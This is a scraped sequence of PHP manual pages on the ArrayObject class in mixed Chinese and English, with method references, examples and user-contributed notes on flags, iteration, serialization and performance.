  • ArrayObject::natsort — Sort entries using a "natural order" algorithm
  • ArrayObject::offsetExists — Returns whether the requested index exists
  • ArrayObject::offsetGet — Returns the value at the specified index
  • ArrayObject::offsetSet — 为指定索引设定新值
  • ArrayObject::offsetUnset — Unsets the value at the specified index
  • ArrayObject::serialize — Serialize an ArrayObject
  • ArrayObject::setFlags — Sets the behavior flags
  • ArrayObject::setIteratorClass — Sets the iterator classname for the ArrayObject
  • ArrayObject::uasort — Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort — Sort the entries by keys using a user-defined comparison function
  • ArrayObject::unserialize — Unserialize an ArrayObject

User Contributed Notes

rasmus at mindplay dot dk 09-Dec-2023 09:25
Note that this does not truly "allow objects to work as arrays" - an `ArrayObject` will not type-check as an array:

<?php

function gimme(array $a) {
    var_dump($a);
}

$a = new ArrayObject([1,2,3]);

var_dump(is_array($a)); // false

gimme($a); // Uncaught TypeError: gimme(): Argument #1 ($a) must be of type array, ArrayObject given

?>

If you want something that type-checks both for arrays and `ArrayObject`, use the `iterable` pseudotype instead:

<?php

function gimme(iterable $a) {
    var_dump($a);
}

$a = [1,2,3];

var_dump(is_iterable($a)); // true

var_dump($a instanceof iterable); // false (iterable is a pseudo-type and cannot be type-checked using instanceof)

gimme($a); // works

gimme(new ArrayObject($a)); // works

?>

Notice the caveat here, that arrays will not type-check as `instanceof iterable`, because pseudotypes cannot be checked that way - if you need a run-time type-check, use `is_iterable` for the type-check instead.
bub at gmail dot com 30-Jan-2022 01:07
If you need the last key of your collection use:
<?php
array_key_last($this->getArrayCopy())
?>

In an extending class it could look like:
<?php
class Collection extends ArrayObject
{
    public function lastKey(): int
    {
        return array_key_last($this->getArrayCopy());
    }
}
?>

If you want to use any type safe collection:
<?php
class BookCollection extends Collection
{
    public function add(Book $book) : void
    {
        $this->offsetSet($book->id, $book);
    }

    // note the return type "Book"
    public function get(int $bookId) : Book
    {
        $this->offsetGet($bookId);
    }
}
?>
lsrzj at yahoo dot com 26-Apr-2021 12:31
Differences between STD_PROP_LIST and ARRAY_AS_PROPS

<?php
$a = new ArrayObject([], ArrayObject::STD_PROP_LIST);
$a['arr'] = 'Array data';
$a->prop = 'Prop data';

$b = new ArrayObject([], ArrayObject::ARRAY_AS_PROPS);
$b['arr'] = 'Array data';
$b->prop = 'Prop data';

print_r($a);
/* Output

ArrayObject Object
(
    [prop] => Prop data
    [storage:ArrayObject:private] => Array
        (
            [arr] => Array data
        )

)*/

print_r($b);
/* Output

ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [arr] => Array data
            [prop] => Prop data
        )

)*/

?>
hello at rayfung dot hk 22-Feb-2021 01:38
If you want to use built-in array function with ArrayObject, store the iterator instance and return the value as reference in offsetGet.

<?php
class Collection extends \ArrayObject {
    public function __construct(array $data = [])
    {
        if (!\is_array($data) && !\array_key_exists('ArrayAccess', class_implements($data))) {
            $data = [$data];
        }

        $this->iterator = $this->getIterator();
        parent::__construct($data);
    }

    public function &offsetGet($index)
    {
        $value = &$this->iterator[$index] ?? null;

        return $value;
    }
}
?>
ke dot chankrisna168 at gmail dot com 05-May-2020 02:59
function map_of_array(array $element, $callable)
{
    foreach ($element as $key => $value) {
        $callable($key, $value);
    }
}

Usage:

$key_values = ["name" => "krisna", "level" => 10];

map_of_array($key_values, function ($key, $value) {
      echo "\n", $key, "=", $value;
});

Result:

name=krisna
level=10
fatindeed at hotmail dot com 31-Jan-2019 07:28
class RecursiveArrayObject extends \ArrayObject
{
    public function __construct($input = array())
    {
        $data = array();
        foreach ($input as $key => $value) {
            if (is_array($value)) {
                $value = new self($value);
            }
            $data[$key] = $value;
        }
        parent::__construct($data, \ArrayObject::ARRAY_AS_PROPS);
    }
}

$company = new RecursiveArrayObject(array(
    'ceo' => array(
        'id' => 1,
        'name' => 'tony',
        'age' => 36
    ),
    'coo' => array(
        'id' => 2,
        'name' => 'matt',
        'age' => 35
    ),
    'cto' => array(
        'id' => 3,
        'name' => 'james',
        'age' => 35
    )
));

var_dump($company->cto->name); // string(5) "james"
var_dump($company['coo']['name']); // string(4) "matt"
Vuong Nguyen 08-May-2018 03:52
You can easily realise that ArrayObject can use various functions as they are in ArrayIterator to iterate an object-as-a-array. However, you need to "activate" these function (rewind, valid, next and so on...) by using getIterator() first. Actually this function inherits from Iterator Aggregate interface.

Take a look at the following basic example. The results are the same:

<?php

$array = [1, 2, 3, 4];
$a = new ArrayObject($array);
$b = new ArrayIterator($array);

$iterator = $a->getIterator();

for($iterator->rewind(); $iterator->valid(); $iterator->next()){
    echo $iterator->current()*2;

}

for($b->rewind(); $b->valid(); $b->next()){
    echo $b->current()*2;

}

//Resulst are the same 2468 AND 2468
rudie 26-Feb-2018 02:08
If you want numerical ArrayObject objects to play nice with json_encode(), implement JsonSerializable:

class JsonSerializableArrayObject extends ArrayObject implements JsonSerializable {
    function jsonSerialize() {
        return $this->getArrayCopy();
    }
}

For assoc ArrayObject objects this isn't neccesary, but for numerical arrays it is, otherwise they will be formatted like

{"0":"jaap","1":"karel"}

instead of

["jaap","karel"]
Mahmoud Elnezamy 19-Feb-2016 01:36
<?php
class Prototype extends ArrayObject
{
    private $___class = null;

    public function __get($key)
    {
        return $this[$key];
    }

    public function __set($key, $value)
    {
        $this[$key] =  $value;
    }

    public function __call($key, $args)
    {
        if(is_object($this->___class) && is_callable([$this->___class, $key])){
            return call_user_func_array([$this->___class, $key],$args);
        }
        return is_callable($c = $this->__get($key)) ? call_user_func_array($c, $args) : null;
    }

    public function importObj($class,  $array = []){
        $this->___class = $class;
        if(count($array) > 0){
            $this->import($array);
        }
        return $this;
    }

    public function import($input)
    {
        $this->exchangeArray($input);
        return $this;
    }

    public function export()
    {
        return $this->objectToArray($this->getArrayCopy());
    }

    public function objectToArray ($object) {
        $o = [];
        foreach ($object as $key => $value) {
           $o[$key] = is_object($value) ? (array) $value: $value;
        }
        return $o;
    }

}

class user{
    public $name = 'Mahmoud Elnezamy';
    public function getName(){
        return 'You Name is ' . $this->name;
    }
}

//usage you can import object with some array

$add = ['age' => '27', 'country' => 'Egypt'];
$user = new user;
$Prototype = new Prototype;
$Prototype->importObj($user, $add);
//print_r($Prototype);

echo $Prototype->getName().' ';
echo $Prototype->age.' ';
echo $Prototype->country;
Gilles A 17-Nov-2014 01:51
// Example STD_PROP_LIST and ARRAY_AS_PROP combined
<?php
$ao = new ArrayObject();
$ao ->setFlags(ArrayObject::STD_PROP_LIST|ArrayObject::ARRAY_AS_PROPS);

$ao->prop = 'prop data';
$ao['arr'] = 'array data';

print_r($ao);

?>

// Result

ArrayObject Object
(
    [storage:ArrayObject:private] =&gt; Array
        (
            [prop] => prop data
            [arr] => array data
        )

)
rwn dot gallego at gmail dot com 11-Aug-2013 09:30
There is a better explanation about the ArrayObject flags (STD_PROP_LIST and ARRAY_AS_PROPS) right here:

http://stackoverflow.com/a/16619183/1019305

Thanks to JayTaph
mehea 06-Nov-2012 10:28
Long story short b/c arrays by default are passed by value, if you pass an array to a function, the function works on a copy of the array while the original array remains unaltered by the function.

You may cause a change to the array to be reflected in the original array by having the function return the altered array and assign it to the variable for the original array, as follows:

<?php
function my_array_modify($data) {
    $data['b'] = 2;
    return $data;
}

$regularArray = array();

$regularArray['a'] = 1;

$regularArray = my_array_modify($regularArray);

var_dump($regularArray['b']); // 2
?>

Or, you may explicitly pass the array by reference in which case there is no need for the function to return the array since the change will have effected the original array, as follows:

<?php
function my_arrayref_modify(&$data) {
    $data['bb'] = 22;
}
my_arrayref_modify($regularArray);
var_dump($regularArray['bb']); // 22
?>
php5 dot man at lightning dot hu 05-Jan-2012 08:24
As you know ArrayObject is not an array so you can't use the built in array functions. Here's a trick around that:

Extend the ArrayObject class with your own and implement this magic method:

<?php
    public function __call($func, $argv)
    {
        if (!is_callable($func) || substr($func, 0, 6) !== 'array_')
        {
            throw new BadMethodCallException(__CLASS__.'->'.$func);
        }
        return call_user_func_array($func, array_merge(array($this->getArrayCopy()), $argv));
    }
?>

Now you can do this with any array_* function:
<?php
$yourObject->array_keys();
?>
- Don't forget to ommit the first parameter - it's automatic!

Note: You might want to write your own functions if you're working with large sets of data.
MarkAndrewSlade at gmail dot com 21-Aug-2011 06:05
I found the description of STD_PROP_LIST a bit vague, so I put together a simple demonstration to show its behavior:

<?php

$a = new ArrayObject(array(), ArrayObject::STD_PROP_LIST);
    $a['arr'] = 'array data';
    $a->prop = 'prop data';
$b = new ArrayObject();
    $b['arr'] = 'array data';
    $b->prop = 'prop data';

// ArrayObject Object
// (
//      [prop] => prop data
// )
print_r($a);

// ArrayObject Object
// (
//      [arr] => array data
// )
print_r($b);

?>
marijn at sensimedia dot nl 21-Jul-2011 12:34
A gotcha that is indeed mentioned in the manual, but isn't readily obvious and just cost me half an hour:

Objects implementing the Serializable interface do NOT get __sleep and __wakeup called; instead, they use serialize and unserialize methods, respectively (why, I don't know, but whatever - I'm sure there's a reason).

Hence, I was trying to serialize a database resultset in an object extending ArrayObject, and needed to fix some stuff regarding database resources on serialize. Took me a while to figure out __sleep wasn't getting called because ArrayObjects implements Serialize...

Presumably the ArrayObject internally implements the serialize/unserialize methods (in a trivial manner), hence the error wasn't apparent immediately (i.e., no fatal error was thrown) and I'd been trying to track why my objects didn't get serialized (they were of course) instead of renaming and fixing the methods.
sfinktah at php dot spamtrak dot org 17-Apr-2011 12:27
If you plan to derive your own class from ArrayObject, and  wish to maintain complete ArrayObject functionality (such as being able to cast to an array), it is necessary to use ArrayObject's own private property "storage".

Since that is impossible to do directly, you must use ArrayObject's offset{Set,Get,Exists,Unset} methods to manipulate it indirectly.

As a side benefit, this means you inherit all the iteration and other functions in complete working order.

This may sound obvious to someone who has never implemented their own ArrayObject class...  but it is far from so.

<?php

class MyArrayObject extends ArrayObject {
        static $debugLevel = 2;

        static public function sdprintf() {
                if (static::$debugLevel > 1) {
                        call_user_func_array("printf", func_get_args());
                }
        }

        public function offsetGet($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetSet($name, $value) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetExists($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetUnset($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
}

$mao = new MyArrayObject();
$mao["name"] = "bob";
$mao["friend"] = "jane";
print_r((array)$mao);

/* Output:

offsetSet(name,bob)
offsetSet(friend,jane)
Array
(
    [name] => bob
    [friend] => jane
)       */
?>

If you wish to use the "Array as Properties" flag, you simply need to include this in your constructor:

<?php parent::setFlags(parent::ARRAY_AS_PROPS); ?>

This will allow you to do things such as the below example, without overriding __get or __set .

<?php
$mao->name = "Phil";
echo $mao["name"];   /* Outputs "Phil" */
?>
rob at tdd dot org dot uk 03-Mar-2011 04:38
I don't believe the same performance is true since PHP 5.3. Using the same fill, read_key and foreach approach on both native arrays and ArrayObjects with 10000 keys I get the following

PHP 5.2

array() fill         0.013101
array() read         0.008685
array() foreach      0.004319
ArrayObject fill     0.014136
ArrayObject read     0.010003
ArrayObject foreach  3.454612

PHP 5.3

array() fill         0.010395
array() read         0.005933
array() foreach      0.001903
ArrayObject fill     0.010598
ArrayObject read     0.006387
ArrayObject foreach  0.003451

This was the code I used for both, an array or ArrayObject is passed into each of the functions. Again PEAR::Benchmark was used to get the results.

<?php
require_once 'Benchmark/Timer.php';

define('KEYS', 10000);

function fill(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $arr['key-' . $i] = $i;
    }
}

function read_key(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $v = $arr['key-' . $i];
    }
}

function fe(&$arr) {
    foreach ($arr as $key => $value) {
        $v = $value;
    }
}
?>
danbettles at yahoo dot co dot uk 23-Aug-2009 08:56
To implement array-style appending (e.g. "$object[] = 'foo';") in your own class implementing the ArrayAccess _interface_, all you need do is check if the key passed to your implementation of offsetSet() is NULL.  Something like the following.

<?php

class MyArrayObject implements ArrayAccess {

    /**
     * @var array
     */
    private $aValue;

    // ...

    /**
     * @see ArrayAccess::offsetSet()
     */
    public function offsetSet ($p_key, $p_value) {
        if (is_null($p_key)) {
            $this->aValue[] = $p_value;
        }
        else {
            $this->aValue[$p_key] = $p_value;
        }
    }

    // ...
}
?>
skrebbel at gmail dot com 18-Apr-2009 03:25
According to my benchmarks, doing foreach() on an ArrayObject is significantly slower than doing so on a vanilla array(). However, inserting keys and retrieving them is almost the same speed.

So, if performance is important, consider not using ArrayObject or descendant classes when you're iterating over its values a lot.

These are my timing results, using PEAR::Benchmark:

ArrayObject fill            0.01441502571106
ArrayObject read_key        0.018320083618164
ArrayObject read_foreach    2.1559031009674

array() fill                0.012364864349365
array() read_key            0.013092041015625
array() read_foreach        0.011217832565308

In all cases, 'fill()' inserts 10000 numbers at string keys, 'read_key()' reads all of those values by referencing the keys, and 'read_foreach()' does the same by walking through the array(object) with foreach().

As you can see, filling or reading from an ArrayObject by key is only 10% to 15% slower, but doing a foreach() is 200 times as costly. I am not sure what the cause of this may be.
deminy at deminy dot net 02-Jan-2009 01:31
Generally variable $this can't be used as an array within an object context. For example, following code piece would cause a fatal error:

<?php
class TestThis {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestThis();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>

But things are different when $this is used in an ArrayObject object. e.g., following code piece are valid:

<?php
class TestArrayObject extends ArrayObject {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestArrayObject();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>
Venelin Vulkov 05-Nov-2008 01:09
Simple example of usage :

<?php

$array = array('Buck','Jerry','Tomas');

$arrayObject = new ArrayObject($array);
// Add new element
$arrayObject->append('Tweety');

// We are getting the iterator of the object
$iterator = $arrayObject->getIterator();

// Simple while loop
while ($iterator->valid()) {
    echo $iterator->current() . "\n";
    $iterator->next();
}

/* Outputs */
Buck
Jerry
Tomas
Tweety

?>

Note that not all the public methods of this class are documented here .
( Which includes a lot sorting methods ) .

Regards
dave at csixty4 dot com 05-Sep-2008 08:28
If you want to use array functions on an ArrayObject, why not use iterator_to_array() to get a standard PHP array?  Do your operations on that array, then instantiate a new ArrayObject, passing it the array.

This might be a little slow on large ArrayObjects, but you'd have access to all of the array functions.
Anonymous 09-Aug-2008 06:17
Too bad the Array functions [1] are not available on this object... otherwise I would be using it all the time.

[1] http://nl.php.net/manual/en/ref.array.php


追加新的值作为最后一个元素。

  • ? ArrayObject
  • ArrayObject::asort ?
  • PHP Manual
  • ArrayObject
  • 追加新的值作为最后一个元素。

ArrayObject::append

(PHP 5, PHP 7, PHP 8)

ArrayObject::append — 追加新的值作为最后一个元素。

说明

public ArrayObject::append(mixed $value): void

追加新的值作为最后一个元素。

Note:

当 ArrayObject 从 object 初始化时不能调用此方法。使用 ArrayObject::offsetSet() 代替。

参数

value

将要被追加的值

返回值

没有返回值。

示例

Example #1 ArrayObject::append() 例子

<?php
$arrayobj = new ArrayObject(array('first','second','third'));
$arrayobj->append('fourth');
$arrayobj->append(array('five', 'six'));
var_dump($arrayobj);
?>

以上示例会输出：

object(ArrayObject)#1 (5) {
  [0]=>
  string(5) "first"
  [1]=>
  string(6) "second"
  [2]=>
  string(5) "third"
  [3]=>
  string(6) "fourth"
  [4]=>
  array(2) {
    [0]=>
    string(4) "five"
    [1]=>
    string(3) "six"
  }
}

参见

  • ArrayObject::offsetSet() - 为指定索引设定新值

User Contributed Notes

There are no user contributed notes for this page.


Sort the entries by value

  • ? ArrayObject::append
  • ArrayObject::__construct ?
  • PHP Manual
  • ArrayObject
  • Sort the entries by value

ArrayObject::asort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::asort — Sort the entries by value

说明

public ArrayObject::asort(int $flags = SORT_REGULAR): true

Sorts the entries in ascending order, such that its keys maintain their correlation with the values they are associated with.

This is used mainly when sorting associative arrays where the actual element order is significant.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 ArrayObject::asort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->asort();

foreach ($fruitArrayObject as $key => $val) {
echo "$key = $val\n";
}
?>

以上示例会输出：

c = apple
b = banana
d = lemon
a = orange

The fruits have been sorted in alphabetical order, and the key associated with each entry has been maintained.

参见

  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function
  • asort() - 对数组进行升序排序并保持索引关系

User Contributed Notes

There are no user contributed notes for this page.


Construct a new array object

  • ? ArrayObject::asort
  • ArrayObject::count ?
  • PHP Manual
  • ArrayObject
  • Construct a new array object

ArrayObject::__construct

(PHP 5, PHP 7, PHP 8)

ArrayObject::__construct — Construct a new array object

说明

public ArrayObject::__construct(array|object $array = [], int $flags = 0, string $iteratorClass = ArrayIterator::class)

This constructs a new array object.

参数

array

The array parameter accepts an array or an Object.

flags

Flags to control the behaviour of the ArrayObject object. See ArrayObject::setFlags().

iteratorClass

Specify the class that will be used for iteration of the ArrayObject object. The class must implement ArrayIterator.

示例

Example #1 ArrayObject::__construct() example

<?php
$array = array('1' => 'one',
'2' => 'two',
'3' => 'three');

$arrayobject = new ArrayObject($array);

var_dump($arrayobject);
?>

以上示例会输出：

object(ArrayObject)#1 (3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

参见

  • ArrayObject::setflags() - Sets the behavior flags

User Contributed Notes

ashley at nospam dot zincdigital dot com 03-Jul-2009 03:18
The great confusion with this class is in its naming.  ArrayObject infers it will behave as an Array and as an Object.  It won't.  It behaves as an array.  It would better be called ArrayType.  You can, with some work, get it to work both as an object and as an array, but that is up to you.
german dot rumm at gmail dot com 14-Mar-2008 10:37
BTW, if you need to change array later, use exchangeArray() method. Good to know when you are writing a class that extends ArrayObject()

AFAIK, exchangeArray() doesn't return anything.

<?php
    $a = array('one', 'two', 'three');
    $ao = new ArrayObject($a);

    foreach ($ao as $element) {
        echo $element . ' '; // one two three
    }

    $b = array('four', 'five', 'six');
    $ao->exchangeArray($b); // returns null

    foreach ($ao as $element) {
        echo $element . ' '; // four five six
    }
?>
agalkin at agalkin dot ru 21-Aug-2007 01:56
Note that the first argument to ArrayObject::__construct, the initial array, is passed by reference. Nevertheless, modification of the array doesn't modify the object, so it may cause unexpected behaviour.

<?php
$array = array('foo' => 'initial');
$obj = new ArrayObject($array);

// array was passed by reference:
$obj['foo'] = 'modified';
var_dump($array); // foo => modified

// but it doesn't work backwards:
$array['foo'] = 'modified_again';
var_dump($obj); // foo => modified
var_dump($array); // foo => modified_again
?>
Grigori Kochanov 15-Jul-2006 03:51
As Marcus explained, the flag ArrayObject::SPL_ARRAY_AS_PROPS means the array element may be used as a property if there is no conflict with visible properties.

If there are visible properties in the class, the array element will not overwrite it's value.

<?php
class Rules extends ArrayObject {
    public $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 1

<?php
class Rules extends ArrayObject {
    private $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 2


统计 ArrayObject 内 public 属性的数量

  • ? ArrayObject::__construct
  • ArrayObject::exchangeArray ?
  • PHP Manual
  • ArrayObject
  • 统计 ArrayObject 内 public 属性的数量

ArrayObject::count

(PHP 5, PHP 7, PHP 8)

ArrayObject::count — 统计 ArrayObject 内 public 属性的数量

说明

public ArrayObject::count(): int

获取 ArrayObject 的 public 属性数量

参数

此函数没有参数。

返回值

对象 ArrayObject 的 public 属性数量

Note:

当对象 ArrayObject 是从数组构造而来时，所有属性都是 public 的。

示例

Example #1 ArrayObject::count() 例子

<?php
class Example {
public $public = 'prop:public';
private $prv = 'prop:private';
protected $prt = 'prop:protected';
}

$arrayobj = new ArrayObject(new Example());
var_dump($arrayobj->count());

$arrayobj = new ArrayObject(array('first','second','third'));
var_dump($arrayobj->count());
?>

以上示例会输出：

int(1)
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Exchange the array for another one

  • ? ArrayObject::count
  • ArrayObject::getArrayCopy ?
  • PHP Manual
  • ArrayObject
  • Exchange the array for another one

ArrayObject::exchangeArray

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::exchangeArray — Exchange the array for another one

说明

public ArrayObject::exchangeArray(array|object $array): array

Exchange the current array with another array or object.

参数

array

The new array or object to exchange with the current array.

返回值

Returns the old array.

示例

Example #1 ArrayObject::exchangeArray() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);
// Array of locations in Europe
$locations = array('Amsterdam', 'Paris', 'London');

$fruitsArrayObject = new ArrayObject($fruits);

// Now exchange fruits for locations
$old = $fruitsArrayObject->exchangeArray($locations);
print_r($old);
print_r($fruitsArrayObject);

?>

以上示例会输出：

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)
ArrayObject Object
(
    [0] => Amsterdam
    [1] => Paris
    [2] => London
)

User Contributed Notes

ievgen dot varava at spryker dot com 02-Mar-2021 11:02
Looks like PHP8 brings undocumented change to this method signature. Example:

<?php
interface intA {
    public function exchangeArray($param);
}

class classB extends ArrayObject implements intA {}
 ?>

PHP 7.4.13: no errors

PHP 8.0.0: Fatal error:  Declaration of ArrayObject::exchangeArray(object|array $array) must be compatible with intA::exchangeArray($param)
Corentin Larose 09-May-2014 02:59
It's worth notting that ArrayObject::exchangeArray() doesn't call ArrayObject::offsetSet() internally for each offset/property of the array/object provided in argument.

It's also worth noting the let's say "unexpected" behavior of get/set:

<?php
class MyArrayObject extends ArrayObject
{
    public function offsetSet($name, $value)
    {
        parent::offsetSet($name . '_control', $value);
        parent::offsetSet($name, $value);
    }
}

$test = new MyArrayObject();
$test->setFlags(\ArrayObject::ARRAY_AS_PROPS);
$test['my_value_1'] = 1;
$test['my_value_1'] = $test['my_value_1'] + 1;
$test['my_value_1'] += 1;
$test['my_value_1'] ++;
++ $test['my_value_1'];

$test->my_value_2 = 1;
$test->my_value_2 = $test->my_value_2 + 1;
$test->my_value_2 += 1;
$test->my_value_2 ++;
++ $test->my_value_2;

print_r($test);

// Prints out:
MyArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [my_value_1_control] => 3
            [my_value_1] => 5
            [my_value_2_control] => 2
            [my_value_2] => 5
        )
)
?>
Dmitri Snytkine 15-Dec-2009 02:11
It seems that input array is always passed by reference.
For example if you have an existing array
$array with some values
then you have an arrayobject $o
and then you do this:
$o->exchangeArray($array);
$o->offsetSet('somekey', 'some value');

Now if you check your $array array, it will have
a key 'somekey' with value of 'some value'

I totally did not expect that, I am sure it was a mistake to pass array by reference by default.


Creates a copy of the ArrayObject

  • ? ArrayObject::exchangeArray
  • ArrayObject::getFlags ?
  • PHP Manual
  • ArrayObject
  • Creates a copy of the ArrayObject

ArrayObject::getArrayCopy

(PHP 5, PHP 7, PHP 8)

ArrayObject::getArrayCopy — Creates a copy of the ArrayObject

说明

public ArrayObject::getArrayCopy(): array

Exports the ArrayObject to an array.

参数

此函数没有参数。

返回值

Returns a copy of the array. When the ArrayObject refers to an object, an array of the properties of that object will be returned.

示例

Example #1 ArrayObject::getArrayCopy() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);
$fruitsArrayObject['pears'] = 4;

// create a copy of the array
$copy = $fruitsArrayObject->getArrayCopy();
print_r($copy);

?>

以上示例会输出：

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
    [pears] => 4
)

User Contributed Notes

sorcerer 03-Jan-2017 06:34
When I used print_r ($fruitsArrayObject) instead of print_r ($copy), i.e. ignoring the getArrayCopy() step, I still got the same output. Why?
spidgorny at gmail dot com 14-Dec-2016 03:37
<?php
$data = $likeArray->getArrayCopy();
?>
will NOT be magically called if you cast to array. Although I've expected it.
<?php
$nothing = (array)$likeArray;
?>
Here, $data != $nothing.
jlshor at buffalo dot edu 07-Dec-2016 08:53
Is there a difference between casting to an array and using this function?

For instance, if we have:
$arrayObject = new ArrayObject([1, 2, 3]);

Is there a difference between these:
$array = (array) $arrayObject;
vs
$array = $arrayObject->getArrayCopy();

If not, is there any scenario where they would produce different results, or do they produce the result in different ways?
php at webflips dot net 24-May-2014 07:42
"When the ArrayObject refers to an object an array of the public properties of that object will be returned."

This description does not seem to be right:

<?php
class A
{
    public $var = 'var';
    protected $foo = 'foo';
    private $bar = 'bar';
}

$o = new ArrayObject(new A());
var_dump($o->getArrayCopy());

/*
Dumps:

array(3) {
  ["var"]=>
  string(3) "var"
  ["*foo"]=>
  string(3) "foo"
  ["Abar"]=>
  string(3) "bar"
}
*/
?>

So it does not only include the public properties.
Ivo von Putzer 05-Dec-2011 05:06
If you did something like this to make your constructor multidimensional capable you will have some trouble using getArrayCopy to get a plain array straight out of the method:
<?php
public function __construct( $array = array(), $flags = 2 )
{
    // let's give the objects the right and not the inherited name
    $class = get_class($this);

    foreach($array as $offset => $value)
        $this->offsetSet($offset, is_array($value) ? new $class($value) : $value);

    $this->setFlags($flags);
}
?>

That's the way I solved it:

<?php
public function getArray($recursion = false)
{
    // just in case the object might be multidimensional
    if ( $this === true)
        return $this->getArrayCopy();

    return array_map( function($item){
        return is_object($item) ? $item->getArray(true) : $item;
    }, $this->getArrayCopy() );
}
?>

Hope this was useful!


Gets the behavior flags

  • ? ArrayObject::getArrayCopy
  • ArrayObject::getIterator ?
  • PHP Manual
  • ArrayObject
  • Gets the behavior flags

ArrayObject::getFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::getFlags — Gets the behavior flags

说明

public ArrayObject::getFlags(): int

Gets the behavior flags of the ArrayObject. See the ArrayObject::setFlags method for a list of the available flags.

参数

此函数没有参数。

返回值

Returns the behavior flags of the ArrayObject.

示例

Example #1 ArrayObject::getFlags() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Get the current flags
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);

// Set new flags
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);

// Get the new flags
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);
?>

以上示例会输出：

int(0)
int(2)

参见

  • ArrayObject::setFlags() - Sets the behavior flags

User Contributed Notes

There are no user contributed notes for this page.


Create a new iterator from an ArrayObject instance

  • ? ArrayObject::getFlags
  • ArrayObject::getIteratorClass ?
  • PHP Manual
  • ArrayObject
  • Create a new iterator from an ArrayObject instance

ArrayObject::getIterator

(PHP 5, PHP 7, PHP 8)

ArrayObject::getIterator — Create a new iterator from an ArrayObject instance

说明

public ArrayObject::getIterator(): Iterator

Create a new iterator from an ArrayObject instance.

参数

此函数没有参数。

返回值

An iterator from an ArrayObject.

示例

Example #1 ArrayObject::getIterator() example

<?php
$array = array('1' => 'one',
'2' => 'two',
'3' => 'three');

$arrayobject = new ArrayObject($array);

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
echo $iterator->key() . ' => ' . $iterator->current() . "\n";

$iterator->next();
}
?>

以上示例会输出：

1 => one
2 => two
3 => three

User Contributed Notes

doug at centraldesktop 07-Nov-2013 10:10
ArrayObject iterator class requires a child of ArrayObject or ArrayIterator

<?php

class MyIterator implements Iterator {

    public
    function __construct(ArrayObject $array, $flags = 0) {
        // ...
    }

    public
    function current() {
        // ..
    }

    public
    function next() {
        // ..
    }

    public
    function key() {
        // ..
    }

    public
    function valid() {
        // ..
    }

    public
    function rewind() {
        // ..
    }
}

$obj = new ArrayObject(array(), 0, 'MyIterator');
$obj->getIterator();

?>

PHP Fatal error: ArrayObject::getIterator(): Internal compiler error, Class is not child of ArrayObject or ArrayIterator in php shell code on line 1


Gets the iterator classname for the ArrayObject

  • ? ArrayObject::getIterator
  • ArrayObject::ksort ?
  • PHP Manual
  • ArrayObject
  • Gets the iterator classname for the ArrayObject

